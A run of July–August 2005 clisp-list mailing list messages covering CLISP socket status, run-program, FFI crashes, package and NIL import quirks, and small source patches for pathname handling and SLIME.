 }
 #endif
 
-#endif # SOCKET_STREAMS
+#endif  /* SOCKET_STREAMS */
 
 
 # Streams in general


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On 7/26/05, Sam Steingold <sds@gnu.org> wrote:
> > * Ashwin Rao <nfujva.fuveinagur@tznvy.pbz> [2005-07-26 19:35:12 +0500]:
> >
> > I have 2 open sockets in my list of sockets given to the socket-status
> > function.  One of them is the socket-server type (which accepts new
> > connections) and other of socket-stream type.
>=20
> I am not sure I quite understand your setup...
>=20
> e.g.:
>=20
> [38]> (setq stream (socket-connect 21 "ftp.gnu.org"))
>=20
> #<IO INPUT-BUFFERED SOCKET-STREAM CHARACTER ftp.gnu.org:21>
> [39]> (setq server (socket-server))
>=20
> #<SOCKET-SERVER 0.0.0.0:1550>
> [40]> (socket-status (list stream server))
>=20
> (:IO NIL) ; i.e., STREAM can be written to and read from,
>           ; but no connections are available on SERVER
> 1
> [41]> (loop :while (listen stream) :do (print (read-line stream)))
> ;; flush everything from STREAM
> "220 GNU FTP server ready."=20
> NIL
> [42]> (socket-status (list stream server))
>=20
> (:OUTPUT NIL) ; now you can only write to STREAM, not read from it
> 1
> [43]> (listen stream)
> ;; confirm - nothing to be read from STREAM
> NIL
> ;; now do "telnet locahost 1550":
> [44]> (socket-status (list stream server))
>=20
> (:IO T) ; now SERVER has something to accept - but STREAM has something
> too!
> 2
> [45]> (listen stream)
> ;; confirm
> T
> [46]> (loop :while (listen stream) :do (print (read-line stream)))
>=20
> "421 Timeout." ;; oops...
> NIL
>=20
>=20
> > When data is sent from the client connected to the server the
> > operation related to the socket-stream socket comes as OUTPUT, Why is
> > this so , also what does INPUT and OUTPUT signify?
>=20
> <http://clisp.cons.org/impnotes/socket.html#so-status>
>=20
> > On doing a read-line (the client sends formatted data terminated by
> > ~%") the data is obtained.
> > But why am I getting the operation as OUTPUT?
> > Also as read-line is a blocking call new connections are delayed (most
> > of the times they are not created) as after reading the control comes
> > to the read-line and waits there till data is sent from another side.
> >
> > function for reading the data on the socket is as follows
> >
> > (defun handle-raw-data-on (sock-fd operation)
> >   (format t "operation ~a" operation)
> >   (if (eql operation :output)
> >       (progn
>=20
> (if a (progn b c d)) is better written as (when a b c d)
>=20
> > =09(setf raw-data (read-line sock-fd nil))
> > =09(format t "Raw data ~a on ~a ~%" raw-data sock-fd))))
> >
> > Please tell me where am I going wrong.
>=20
> If I understand you correctly, you should be getting :INPUT instead of
> :OUTPUT.
> maybe you could debug it?
> see src/stream.d:14272.
>=20
>=20
> --=20
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>=20

Based on what you asked this are the steps I followed (Sorry for using
the gnu server  i.e copy paste of you code ;)

[1]> (setq stream (socket-connect 21 "ftp.gnu.org"))
#<IO UNBUFFERED SOCKET-STREAM CHARACTER ftp.gnu.org:21> ;; as expected
[2]> (setq server (socket-server))
#<SOCKET-SERVER 0.0.0.0:35656> ;; good
[3]> (socket-status (list stream server))
(:IO NIL) ;;; great
1
[4]> (listen stream)
T
[5]> (loop :while (listen stream) :do (print (read-line stream)))

"220 GNU FTP server ready."=20
NIL
[6]> (socket-status (list stream server))
(:OUTPUT NIL) ;
1
[7]> (socket-status (list stream server))
(:OUTPUT NIL) ;
1

;;  Now the funny part the status is still :output but the read-line
gave some data
;; Why is this so. The next read after this failed. you can see it. I
cant find out why?
;; Could you please help

[8]> (loop :while (listen stream) :do (print (read-line stream)))

""=20
NIL
;; this the thing thats troubling me why is this thing happening
[9]> (socket-status (list stream server))
(:OUTPUT NIL) ;
1
[10]> (loop :while (listen stream) :do (print (read-line stream)))
NIL

Regards
Ashwin


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On Mon, Jul 25, 2005 at 07:02:42PM -0400, Sam Steingold wrote:
> >
> > you may want to try the appended patch.
> > it will replace the "unprintable error message" with a more meaningful
> > "XLIB::CLOSED-DISPLAY" error.
> >
> > you still need to figure out why the display is invalid.
> > specifically, set a breakpoint in ensure_living_display()
> > and examine "fptr" with "xout" and "zout" (see src/.gdbinit).
> >
> > I bet this is yet another amd64 alignment problem...
> 
> OK, I can reproduce this.
> it appears that
> gcc (GCC) 3.2.3 20030502 (Red Hat Linux 3.2.3-42)
> on
> Linux flume 2.4.21-20.ELsmp #1 SMP Wed Aug 18 20:34:58 EDT 2004 x86_64 x86_64 x86_64 GNU/Linux
> 
> miscompiles ensure_living_display():

The same with

gcc version 4.0.2 20050720 (prerelease) (SUSE Linux)
on
Linux g31 2.6.12 #1 SMP Wed Mar 23 21:52:37 UTC 2005 x86_64 x86_64 x86_64 GNU/Linux
even if using -DSAFETY=3 and -O.

Interesting that without -O or -O2 clisp crashes during dump.

Beside this clisp 2.33.2 build with
gcc version 3.3.5 20050117 (prerelease) (SUSE Linux)
on
Linux g31 2.6.11.4-20a-smp #1 SMP Wed Mar 23 21:52:37 UTC 2005 x86_64 x86_64 x86_64 GNU/Linux

works flawless. With this result I'm looking on for the
next clisp release for SuSE Linux.


         Werner

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> * Ashwin Rao <nfujva.fuveinagur@tznvy.pbz> [2005-07-27 14:59:48 +0500]:
>
>
> [1]> (setq stream (socket-connect 21 "ftp.gnu.org"))
> #<IO UNBUFFERED SOCKET-STREAM CHARACTER ftp.gnu.org:21> ;; as expected
> [2]> (setq server (socket-server))
> #<SOCKET-SERVER 0.0.0.0:35656> ;; good
> [3]> (socket-status (list stream server))
> (:IO NIL) ;;; great
> 1
> [4]> (listen stream)
> T
> [5]> (loop :while (listen stream) :do (print (read-line stream)))
>
> "220 GNU FTP server ready." 
> NIL
> [6]> (socket-status (list stream server))
> (:OUTPUT NIL) ;
> 1
> [7]> (socket-status (list stream server))
> (:OUTPUT NIL) ;
> 1
>
> ;;  Now the funny part the status is still :output but the read-line
> gave some data
> ;; Why is this so. The next read after this failed. you can see it. I
> cant find out why?
> ;; Could you please help

did you actually _read_ the link I sent you?

:OUTPUT means that you can do output on (i.e., you can write to) the
stream.
the stream indeed will accept your text, just try
(format stream "foo~%")



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> * Sam Steingold <fqf@tah.bet> [2005-07-26 19:51:36 -0400]:
>
> one issue postponed until 2.34 was making socket-stream-shutdown
> always just do shutdown, never close, as per the doc.

the patch has been checked in.
please try cvs head

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> * Nelson H. F. Beebe <orror@zngu.hgnu.rqh> [2005-07-26 15:54:24 -0600]:
>
> Here is more of the requested debugging output for the segment
> violation on Sun Solaris 10 of clisp-2.34:
> [1]> (TRANSLATE-LOGICAL-PATHNAME (LOGICAL-PATHNAME "SYS:FOO.LISP"))
> 4717      if (eq(Car(pattern),S(Kabsolute)) && mconsp(*subst)

please try the appended patch.
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--- pathname.d	22 Jul 2005 14:29:22 -0400	1.380
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   var object item;
   if (atomp(m_list)) {
     if (atomp(b_list))
-      push_solution();
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   item = Car(m_list); m_list = Cdr(m_list);


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> * Sam Steingold <fqf@tah.bet> [2005-07-27 15:44:22 -0400]:
>
>> * Nelson H. F. Beebe <orror@zngu.hgnu.rqh> [2005-07-26 15:54:24 -0600]:
>>
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>> violation on Sun Solaris 10 of clisp-2.34:
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>> 4717      if (eq(Car(pattern),S(Kabsolute)) && mconsp(*subst)
>
> please try the appended patch.
don't...


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On 7/27/05, Sam Steingold <sds@gnu.org> wrote:
> > * Ashwin Rao <nfujva.fuveinagur@tznvy.pbz> [2005-07-27 14:59:48 +0500]:
> >
> >
> > [1]> (setq stream (socket-connect 21 "ftp.gnu.org"))
> > #<IO UNBUFFERED SOCKET-STREAM CHARACTER ftp.gnu.org:21> ;; as expected
> > [2]> (setq server (socket-server))
> > #<SOCKET-SERVER 0.0.0.0:35656> ;; good
> > [3]> (socket-status (list stream server))
> > (:IO NIL) ;;; great
> > 1
> > [4]> (listen stream)
> > T
> > [5]> (loop :while (listen stream) :do (print (read-line stream)))
> >
> > "220 GNU FTP server ready."
> > NIL
> > [6]> (socket-status (list stream server))
> > (:OUTPUT NIL) ;
> > 1
> > [7]> (socket-status (list stream server))
> > (:OUTPUT NIL) ;
> > 1
> >
> > ;;  Now the funny part the status is still :output but the read-line
> > gave some data
> > ;; Why is this so. The next read after this failed. you can see it. I
> > cant find out why?
> > ;; Could you please help
>=20
> did you actually _read_ the link I sent you?
>=20
> :OUTPUT means that you can do output on (i.e., you can write to) the
> stream.
> the stream indeed will accept your text, just try
> (format stream "foo~%")
>=20
>=20
>=20
Thanks for the link.=20
But there is still one problem, maybe I should have asked this earlier
as all what I asked comes down to this (sorry for the inconvenience).
say there are 2 sockets to the list.
(1 -- the server-socket which accepts new connection, the status will
always be nil until a new connection request comes.
2 -- the socket which was created after succefully accepting a new connecti=
on.)
as the second socket will always return :output when there is no input
available, socket-status will always return even if no data was sent
from the other side.
Is there a way I can tell socket-status to return only if :input or
:io operations are permissible in the sockets present in the list or
is it possible to make socket-status return only if :input is status
of one or :output is status of other.
(PS something similar to setting the readfs and writefds of select system c=
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Regards
Ashwin


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Ashwin Rao writes:
> But there is still one problem, maybe I should have asked this earlier
> as all what I asked comes down to this (sorry for the inconvenience).
> say there are 2 sockets to the list.
> (1 -- the server-socket which accepts new connection, the status will
> always be nil until a new connection request comes.
> 2 -- the socket which was created after succefully accepting a new connection.)
> as the second socket will always return :output when there is no input
> available, socket-status will always return even if no data was sent
> from the other side.
> Is there a way I can tell socket-status to return only if :input or
> :io operations are permissible in the sockets present in the list or
> is it possible to make socket-status return only if :input is status
> of one or :output is status of other.
> (PS something similar to setting the readfs and writefds of select system call).

You've not been reading the documentation closely enough.
Read it again: http://www.podval.org/~sds/clisp/impnotes/socket.html

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> * Ashwin Rao <nfujva.fuveinagur@tznvy.pbz> [2005-07-28 14:12:50 +0500]:
>
> as the second socket will always return :output when there is no input
> available,

unless the other side shuts down the connection.

> Is there a way I can tell socket-status to return only if :input or
> :io operations are permissible in the sockets present in the list or
> is it possible to make socket-status return only if :input is status
> of one or :output is status of other.
> (PS something similar to setting the readfs and writefds of select system call).

I sent you the link. RTFM.

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>> Is there a way I can tell socket-status to return only if :input or
>> :io operations are permissible in the sockets present in the list or
>> is it possible to make socket-status return only if :input is status
>> of one or :output is status of other.
>> (PS something similar to setting the readfs and writefds of select system call).
>
> I sent you the link. RTFM.

BTW, if you find the documentation unclear, please do submit a patch.

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The following simple test generates a broken pipe error writing to 
*stream* in format
(running the latest CVS 2.34 on Linux (FC4)).  Any suggestions as to 
what I'm doing wrong?

> (defvar *stream*)
>
> (setq *stream*
>   (ext:run-program "cat"
>                    :arguments nil
>                    :input ':stream
>                    :output ':stream
>                    :wait nil))
>
> (format *stream* "abcd")
> (terpri *stream*)
> (finish-output *stream*)
> (print (read-line *stream*))
>
> (close (two-way-stream-input-stream *stream*))
> (close (two-way-stream-output-stream *stream*))
> (close *stream*)




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> * Dan Corkill <qnapbexvyy@pbzpnfg.arg> [2005-07-29 10:46:46 -0400]:
>
> The following simple test generates a broken pipe error writing to
> *stream* in format
> (running the latest CVS 2.34 on Linux (FC4)).  Any suggestions as to
> what I'm doing wrong?

":wait nil" means "exec cat &", i.e., cat does not wait for your input
and terminates right away.

>> (defvar *stream*)
>>
>> (setq *stream*
>>   (ext:run-program "cat"
>>                    :arguments nil
>>                    :input ':stream
>>                    :output ':stream
>>                    :wait nil))
>>
>> (format *stream* "abcd")
>> (terpri *stream*)
>> (finish-output *stream*)
>> (print (read-line *stream*))
>>
>> (close (two-way-stream-input-stream *stream*))
>> (close (two-way-stream-output-stream *stream*))
>> (close *stream*)

use

   (ext:run-program "cat"
                    :arguments nil
                    :input ':stream
                    :output ':stream))


or just

   (ext:make-pipe-io-stream "cat")

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Dan Corkill wrote:

>The following simple test generates a broken pipe error writing to 
>*stream* in format
>(running the latest CVS 2.34 on Linux (FC4)).  Any suggestions as to 
>what I'm doing wrong?

Try :wait t instead of nil. Then it works here (FreeBSD 5.4).
Why have you set it to nil? The default is T.

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>":wait nil" means "exec cat &", i.e., cat does not wait for your input
>and terminates right away.
>  
>
Many thanks.  I should have read the docs more carefully.  The example 
does work
correctly with :wait 't.  I assumed that :wait controlled whether the 
run-program
call returned immediately or waited for the command to terminate (the 
typical
behavior of :wait for similar interfaces in many other CLs). 

BTW, is there a way to obtain the "wait for the run-program command to exit
before proceeding" behavior in CLISP (the equivalent of specifying :wait 
't in
those other implementations)?

Thanks again for the speedy advice!

-- Dan



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Date: Fri Jul 29 11:05:16 2005
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Dan Corkill writes:
> 
> >":wait nil" means "exec cat &", i.e., cat does not wait for your input
> >and terminates right away.
> >  
> >
> Many thanks.  I should have read the docs more carefully.  The example 
> does work
> correctly with :wait 't.  I assumed that :wait controlled whether the 
> run-program
> call returned immediately or waited for the command to terminate (the 
> typical
> behavior of :wait for similar interfaces in many other CLs). 
> 
> BTW, is there a way to obtain the "wait for the run-program command to exit
> before proceeding" behavior in CLISP (the equivalent of specifying :wait 
> 't in
> those other implementations)?
> 
> Thanks again for the speedy advice!

This is what is done when input and output are both not :stream. 
clisp is not dumb.  When it sees it'll have to work, it doesn't wait.

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Hello to all,

Maybe a bit off topic question.But is somebody aware of any nice paper or 
pamphlet what is comparing Haskell and Lisp in a reall time situation.
My I know something similar for Python and Lisp whats a great paper 
http://www.norvig.com/python-lisp.html
and at least for both 
languages there is also a java-binding present even if I m not aware how
active both projects are at the moment.
http://jacol.sourceforge.net/
http://semantic.org/jvm-bridge/

So any feedback welcome

Rgds

Gottfried




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Gottfried Zojer wrote:

>Maybe a bit off topic question.But is somebody aware of any nice paper or 
>pamphlet what is comparing Haskell and Lisp in a reall time situation.

IMHO, the two are such different beasts that any comparison is
futile. I'm dabbling in both Lisp and Standard ML every now and
then, and while SML is a lot more "Lisp-like" than Haskell (for
example, it's got call-by-value and value assignments) I consider
them two completely different playgrounds. Surely Haskell and Lisp
are even more estranged.

mkb.


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On Sat, 30 Jul 2005, Matthias Buelow wrote:

> Date: Sat, 30 Jul 2005 06:32:57 +0200
> From: Matthias Buelow <mkb@incubus.de>
> To: Gottfried Zojer <goenzoy@gmx.net>
> Cc: clisp-list@lists.sourceforge.net
> Subject: Re: [clisp-list] Lisp compared  with Haskell
> 
> Gottfried Zojer wrote:
> 
> >Maybe a bit off topic question.But is somebody aware of any nice paper or 
> >pamphlet what is comparing Haskell and Lisp in a reall time situation.
> 
> IMHO, the two are such different beasts that any comparison is
> futile. I'm dabbling in both Lisp and Standard ML every now and
> then, and while SML is a lot more "Lisp-like" than Haskell (for
> example, it's got call-by-value and value assignments) I consider
> them two completely different playgrounds. Surely Haskell and Lisp
> are even more estranged.

To consider a ``real-time situation'', you can't separate the language
from the implementation. The features of the Lisp or Haskell
implementations have more bearing on real-time performance than the
languages themselves. Firstly, you look at what kind of compiler and GC
do you have.  Then things like the quality of the  foreign calling
interface, the escape hatches to gain access the platform and
machine, the thread and interrupt safety of various areas of the
run-time, etc. And then, what flavor of ``real-time'' anyway?

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Date: Sat Jul 30 22:16:12 2005
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Hi.

> Doesn't clisp use C doubles internally?
> I also get the 0.20000005 but in a small C program (see below) I get:

> % ./a.out
> 1.1-0.9=0.20000000000000006661

Probably it's too late to answer, but I see that nobody suggested
to set *read-default-float-format* to 'double float or 'long-float
before calculations.
1.1 is being read as single-float by default and calculations are
performed accordingly to datatype associated with numbers when they
are read (in this example).

[1]> (setf *read-default-float-format* 'double-float)
DOUBLE-FLOAT
[2]> (- 1.1 0.9)
0.20000000000000007

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Hello,
  I am trying to use lots of FFI's and clisp, with lisp calling foreign
functions and vice versa.

One constant problem, which I am facing is that, if I make any mistake in
these programs, clisp just crashes, without any error message. For example, in
a function call, if instead of passing two arguments to function, I pass one
argument, it crashes, neither are there much compilation warnings.

Is there any way (flags, tools), which I can use to avoid clisp from crashing, also
get better error checking and more warnings?

Thanks.

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> * Surendra Singhi <rshmmlbar@argfpncr.arg> [2005-07-31 00:27:55 -0700]:
>
> Is there any way (flags, tools), which I can use to avoid clisp from
> crashing, also get better error checking and more warnings?

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Hallo

Now download Version 2.34 ZIP-file. Works fine on Win98SE. Thanks.

While playing around I found this: (ja is undefined variable here,
first-time-use)

[7]> ja

*** - EVAL: variable JA has no value
The following restarts are available:
USE-VALUE      :R1      You may input a value to be used instead of JA.
STORE-VALUE    :R2      You may input a new value for JA.
ABORT          :R3      ABORT
Break 1 [8]> :r2
New JA: 5
5
[9]> ja
5
[10]> (describe 'ja)

JA is the symbol JA, lies in #<PACKAGE COMMON-LISP-USER>, is accessible
in 1
package COMMON-LISP-USER, a variable, value: 5.

 #<PACKAGE COMMON-LISP-USER> is the package named COMMON-LISP-USER. It
has 2
 nicknames CL-USER, USER.
 It imports the external symbols of 2 packages COMMON-LISP, EXT and
exports
 no symbols, but no package uses these exports.

 5 is an integer, uses 3 bits, is represented as a fixnum.

[11]>

The question is: What goes on here. Is this a SETQ or a SETF or
something else?



Second Question: (found in 31.1 Random Screen Access)

(SCREEN:MAKE-WINDOW)

sets a blue background and hides the blink-cursor as visible effect.
Now, how to get back from there to the usual black window and the
blinking cursor?

stefan




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lin8080 writes:
> [...]
> [7]> ja
> 
> *** - EVAL: variable JA has no value
> The following restarts are available:
> USE-VALUE      :R1      You may input a value to be used instead of JA.
> STORE-VALUE    :R2      You may input a new value for JA.
> ABORT          :R3      ABORT
> Break 1 [8]> :r2
> New JA: 5
> 5
> [9]> ja
> 5
> [10]> (describe 'ja)
> 
> JA is the symbol JA, lies in #<PACKAGE COMMON-LISP-USER>, is accessible
> in 1
> package COMMON-LISP-USER, a variable, value: 5.
> [...]
> The question is: What goes on here. Is this a SETQ or a SETF or
> something else?

You could check the sources of the debugger, but the most probablem is
that it used (SET symbol (READ)) or (SETF (SYMBOL-VALUE symbol)
(READ)) to bind the value to the symbol.


> Second Question: (found in 31.1 Random Screen Access)
> 
> (SCREEN:MAKE-WINDOW)
> 
> sets a blue background and hides the blink-cursor as visible effect.
> Now, how to get back from there to the usual black window and the
> blinking cursor?

[6]> (lspack :screen :exports)

SCREEN
   Symbols:       17 exported, 17 total.
   Uses:          COMMON-LISP EXT 
   Exported:      *NEW-WINDOW* *WINDOW* CLEAR-WINDOW 
                  CLEAR-WINDOW-TO-EOL CLEAR-WINDOW-TO-EOT 
                  DELETE-WINDOW-LINE HIGHLIGHT-OFF HIGHLIGHT-ON 
                  INSERT-WINDOW-LINE MAKE-WINDOW READ-KEYBOARD-CHAR 
                  SET-WINDOW-CURSOR-POSITION WINDOW-CURSOR-OFF 
                  WINDOW-CURSOR-ON WINDOW-CURSOR-POSITION WINDOW-SIZE 
                  WITH-WINDOW

Use SCREEN:WITH-WINDOW ?
Or setup things to get a REPL on another channel, like a socket or an
xterm using EXT:MAKE-XTERM-IO-STREAM.  For example:

(let ((*win* (screen:make-window))
      (user  (ext:make-xterm-io-stream)))
  (declare (special *win*))
   ;; TODO: bind *win* or user to *standard-input*, *standard-output*, etc...
  (unwind-protect
       (loop 
          initially (format user "~&> ") (finish-output user)
          for input = (read user nil user)
          until (or (eq input user) (eq input :quit))
          do (print (eval input) user) ; TODO add error handling
             (format user "~&> ") (finish-output user)) 
    (close user)
    (close *win*)))

Then in the xterm, type:

   (screen:SET-WINDOW-CURSOR-POSITION *win* 10 10) RET
   (princ "Hello" *win*) RET

and when you're done, type: 

    :quit RET


You can use SCREEN:READ-KEYBOARD-CHAR or directly EXT:KEYBOARD-INPUT
while the window is active to get input from the user, and you can
implement your own commands.  For example:

(let ((window (screen:make-window)))
  (screen:with-window window
    (loop for ch = (screen:read-keyboard-char t)
          until (char= ch (character "q"))
          collect ch)))

Then type: abc RET def RET ghq RET
and get: (#\a #\b #\c #\Newline #\d #\e #\f #\Newline #\g #\h)


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Hi.

> Second Question: (found in 31.1 Random Screen Access)

> (SCREEN:MAKE-WINDOW)

> sets a blue background and hides the blink-cursor as visible effect.
> Now, how to get back from there to the usual black window and the
> blinking cursor?

When finished using random screen access, close the stream returned
from (SCREEN:MAKE-WINDOW) and black screen returns.

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Hallo Kaz and Matthias ,

I meant a reall world comparisation also in case of real time like 
the interface between Haskell and OpenGL as example
I pointed out both languages with interfaces towards java.
So I m wondering whats the difference between 
CLISP bytecode --> Java bytecode because I can see that this transformation 
is a open task ( ToDo) on the project pages of Clisp.

Thanks for any feedback


Rgds 

Gottfried




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> Von: Kaz Kylheku <kaz@ashi.footprints.net>
> An: Matthias Buelow <mkb@incubus.de>
> Kopie: Gottfried Zojer <goenzoy@gmx.net>,
> <clisp-list@lists.sourceforge.net>
> Betreff: Re: Lisp compared  with Haskell
> Datum: Sat, 30 Jul 2005 08:58:30 -0700 (PDT)
> 
> On Sat, 30 Jul 2005, Matthias Buelow wrote:
> 
> > Date: Sat, 30 Jul 2005 06:32:57 +0200
> > From: Matthias Buelow <mkb@incubus.de>
> > To: Gottfried Zojer <goenzoy@gmx.net>
> > Cc: clisp-list@lists.sourceforge.net
> > Subject: Re: [clisp-list] Lisp compared  with Haskell
> > 
> > Gottfried Zojer wrote:
> > 
> > >Maybe a bit off topic question.But is somebody aware of any nice paper
> or 
> > >pamphlet what is comparing Haskell and Lisp in a reall time situation.
> > 
> > IMHO, the two are such different beasts that any comparison is
> > futile. I'm dabbling in both Lisp and Standard ML every now and
> > then, and while SML is a lot more "Lisp-like" than Haskell (for
> > example, it's got call-by-value and value assignments) I consider
> > them two completely different playgrounds. Surely Haskell and Lisp
> > are even more estranged.
> 
> To consider a ``real-time situation'', you can't separate the language
> >from the implementation. The features of the Lisp or Haskell
> implementations have more bearing on real-time performance than the
> languages themselves. Firstly, you look at what kind of compiler and GC
> do you have.  Then things like the quality of the  foreign calling
> interface, the escape hatches to gain access the platform and
> machine, the thread and interrupt safety of various areas of the
> run-time, etc. And then, what flavor of ``real-time'' anyway?
> 
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Iam a newbie in clisp....
I try to make a connection database, I use Fedora Core
3, clisp-2.33.2. I try an example code, I get those
code in
tutorial for clisp.....but when I load that, my
program didn't run well.....
This an error message :
 [1]> (load "/root/LISP/ex-sql1.lisp")
;; Loading file /root/LISP/ex-sql1.lisp ...
*** - READ from #<INPUT BUFFERED FILE-STREAM CHARACTER
#P"/root/LISP/ex-sql1.lisp" @11>: there is no package
with name "PG"

 Break 1 [2]> (load "/root/LISP/ex-sql2.lisp")
;;  Loading file /root/LISP/ex-sql2.lisp ...
** - Continuable Error
EVAL: undefined function PQ-CONNECTDB
If you continue (by typing 'continue'): Retry
The following restarts are also available:
STORE-VALUE    :R1      You may input a new value for
(FDEFINITION 'PQ-CONNECTDB).
USE-VALUE      :R2      You may input a value to be
used instead of (FDEFINITION 'PQ-CONNECTDB).

Please help me, how to connect database to the code!! 
I try other examples, and same result....."PG" its not
recognize.

This is my program :
(defun demo ()
(interactive)
  (with-pg-connection (conn "testdb" "login" :host
"dbhost" :password "secret")
   (with-pg-transaction conn
      (when (member "test_date" (pg-tables conn) :test
#'string=)
        (pg-exec "DROP TABLE test_date"))
      (pg-exec conn "CREATE TABLE test_date(a
timestamp, b abstime, c time, d date)")
      (pg-exec conn "INSERT INTO test_date VALUES"
               "(current_timestamp, 'now', 'now',
'now')"))))

Where Iam wrong.....???

Thanks for the answer.

regards,

kania



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Kania Potter wrote:
>  (with-pg-connection (conn ...)
>   (with-pg-transaction conn
>        (pg-exec "DROP TABLE test_date"))
>Where Iam wrong.....???

You need Eric Marsden's pg.lisp which is distributed separately. Last =
time I looked (some time ago), I found pg-dot-lisp-0.19.tgz somewhere =
on the net. I'm sure Cliki http://cliki.net will lead you to such a =
place.
-- Or I can send you that 21KB compressed tar archive directly?

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I have some troubles with the import/export of the cl:nil symbol.

CLISP 2.34, win32

P3> (cl:defpackage :p4 (:use))
#<PACKAGE P4>
P3> (cl:import 'cl:nil :p4)
T
P3> (cl:in-package :p4)
#<PACKAGE P4>
P4> nil

; Evaluation aborted  <-- debugger telling me nil is not bound
; It works with version 2.33.1

P4> (cl:defpackage :p5 (:use) (:import-from :cl nil))
#<PACKAGE P5>
P4> (cl:in-package :p5)
#<PACKAGE P5>
P5> nil
NIL




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On 7/28/05, Sam Steingold <sds@gnu.org> wrote:
> >> Is there a way I can tell socket-status to return only if :input or
> >> :io operations are permissible in the sockets present in the list or
> >> is it possible to make socket-status return only if :input is status
> >> of one or :output is status of other.
> >> (PS something similar to setting the readfs and writefds of select sys=
tem call).
> >
> > I sent you the link. RTFM.
>=20
> BTW, if you find the documentation unclear, please do submit a patch.
>=20

The document is great and very clear.
You are all right, I didnt _read_  the document properly.
I got a bit confused because of mistakes in my code and in my thinking.
I sent a message in haste. I shouldn't have done that.
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christophe turle writes:
>I have some troubles with the import/export of the cl:nil symbol.

That's a symptom similar to other functions/macros which accept lists =
of symbols, but also the degenerate just-a-symbol case for convenience. =
Spot places in CLHS that say: "a designator for a list of symbols." and =
look up the "designator" glossary entry.

That convenience strikes back when people what to use NIL as a symbol.
You need to say (NIL) (or '(NIL) for functions) instead.

CASE is the most famous example.

You need (import '(nil))

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Hi,

several times I've been bitten by EXT:LETF, which generally sounds like =
a useful macro.
It does something like (unwind-protect (setf place value) body (setf =
place original-value))

However, it does not correctly restore the original state when used =
with GETHASH or SYMBOL-VALUE. Both places are set to NIL at exit, =
whereas they might have been unset/unbound before.

[27]> (let ((h(make-hash-table)))(ext:letf (((gethash 'a h) 'b))1)h)
#S(HASH-TABLE :TEST FASTHASH-EQL (A . NIL)) ; expected empty hash table

Furthermore, (ext:letf (((symbol-value 'a) 3)) a) errors out when a is =
not bound prior to entering the form.

A consistent integration of LETF with places would restore the boundp =
state.
Hmm, the same argument would apply to struct slots...
The current behaviour is very close to a bug, wouldn't you think?

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> * Nelson H. F. Beebe <orror@zngu.hgnu.rqh> [2005-07-26 15:54:24 -0600]:
>
> 0x00063c74 in translate_directory (subst=0x1dc094, pattern=0x666afc8b, 
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> 4717      if (eq(Car(pattern),S(Kabsolute)) && mconsp(*subst)

thanks for the bug report.
the patch is appended.

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--- pathname.d	22 Jul 2005 14:29:22 -0400	1.380
+++ pathname.d	01 Aug 2005 11:55:24 -0400	
@@ -4076,7 +4076,7 @@
     }
   }
 }
-#define DIRECTORY_TRIVIAL_P(dir) (nullp(dir) || (eq(Car(dir),S(Krelative)) && nullp(Cdr(dir))))
+#define DIRECTORY_TRIVIAL_P(dir) (nullp(dir) || (consp(dir) ? (eq(Car(dir),S(Krelative)) && nullp(Cdr(dir))) : false))
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Thanks to Sam Steingold for the patch to src/pathname.d in clisp-2.34.
I applied it, rebuilt, and reran the tests, including the 

	(TRANSLATE-LOGICAL-PATHNAME (LOGICAL-PATHNAME "SYS:FOO.LISP"))

It now reports

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> * Nelson H. F. Beebe <orror@zngu.hgnu.rqh> [2005-08-02 14:47:49 -0600]:
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> Thanks to Sam Steingold for the patch to src/pathname.d in clisp-2.34.
> I applied it, rebuilt, and reran the tests, including the 
>
> 	(TRANSLATE-LOGICAL-PATHNAME (LOGICAL-PATHNAME "SYS:FOO.LISP"))
>
> It now reports
>
> 	#P"/foo.lisp"
>
> instead of getting a segment violation.

yes, this is the correct behavior.

Nelson, what other issues have not been addressed yet?

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Sam Steingold <sds@gnu.org> writes:

>> * Surendra Singhi <rshmmlbar@argfpncr.arg> [2005-07-31 00:27:55 -0700]:
>>
>> Is there any way (flags, tools), which I can use to avoid clisp from
>> crashing, also get better error checking and more warnings?
>
> <http://clisp.cons.org/impnotes/dffi.html#ffi-extern-output>
>
Sam, thanks for your response. I tried using the variables mentioned there,

[1] but it did not generate any *.c file.

To be specific, I added the lines:

(setq FFI:*OUTPUT-C-FUNCTIONS* t)
(setf FFI:*OUTPUT-C-VARIABLES* t)

to the file and compiled as below


[20]> (compile-file "wxToolBar.lisp")
;; Compiling file C:\wxcl\clisp-wrappers\wxToolBar.lis
p ...
;; Wrote file C:\wxcl\clisp-wrappers\wxToolBar.fas
0 errors, 0 warnings
#P"C:\\wxcl\\clisp-wrappers\\wxToolBar.fas" ;
NIL ;
NIL
[21]>

Googling it also didn't give any results or examples. Am I making any mistake
in the way I am using these variables?


[2]when clisp crashes it does not generates any core dump file, is there any
way I can get the stack trace or some information on why did it crash or what
made it crash, or make it generate a core dump?


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clisp from CVS head, mingw
GNU Emacs 22.0.50.1
slime from CVS head

for
> use symbol property lists instead of the global *DOCUMENTATION* hash table

need edit swank-clisp.lisp

@@ -188,7 +188,8 @@
     (:class (describe (find-class symbol)))))

 (defun fspec-pathname (symbol)
-  (let ((path (getf (gethash symbol sys::*documentation*) 'sys::file)))
+  (let ((path (getf (get (get-doc-entity-symbol object) 'sys::doc)
+                    'sys::file)))
     (if (and path
             (member (pathname-type path)
                     custom:*compiled-file-types* :test #'string=))


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Thanks for u'r information Mr. Jörg Höhle. But I still
have a problem. I try to load again my program, but
the same error message "PG" didn't recognize. I've
done extract  pg-dot-lisp-0.19.tgz, and try to load an
example code (pg-tests.lisp). But, unfortunately, "PG"
didn't recognize :(
Iam really confused. Please help me.

thanks for the answer

Regards,

Kania

--- "Hoehle, Joerg-Cyril"
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> Kania Potter wrote:
> >  (with-pg-connection (conn ...)
> >   (with-pg-transaction conn
> >        (pg-exec "DROP TABLE test_date"))
> >Where Iam wrong.....???
> 
> You need Eric Marsden's pg.lisp which is distributed
> separately. Last time I looked (some time ago), I
> found pg-dot-lisp-0.19.tgz somewhere on the net. I'm
> sure Cliki http://cliki.net will lead you to such a
> place.
> -- Or I can send you that 21KB compressed tar
> archive directly?
> 
> Regards,
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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-08-03 12:00:35 +0300]:
>
> clisp from CVS head, mingw
> GNU Emacs 22.0.50.1
> slime from CVS head
>
> for
>> use symbol property lists instead of the global *DOCUMENTATION* hash table
>
> need edit swank-clisp.lisp
>
> @@ -188,7 +188,8 @@
>      (:class (describe (find-class symbol)))))
>
>  (defun fspec-pathname (symbol)
> -  (let ((path (getf (gethash symbol sys::*documentation*) 'sys::file)))
> +  (let ((path (getf (get (get-doc-entity-symbol object) 'sys::doc)
> +                    'sys::file)))
>      (if (and path
>              (member (pathname-type path)
>                      custom:*compiled-file-types* :test #'string=))

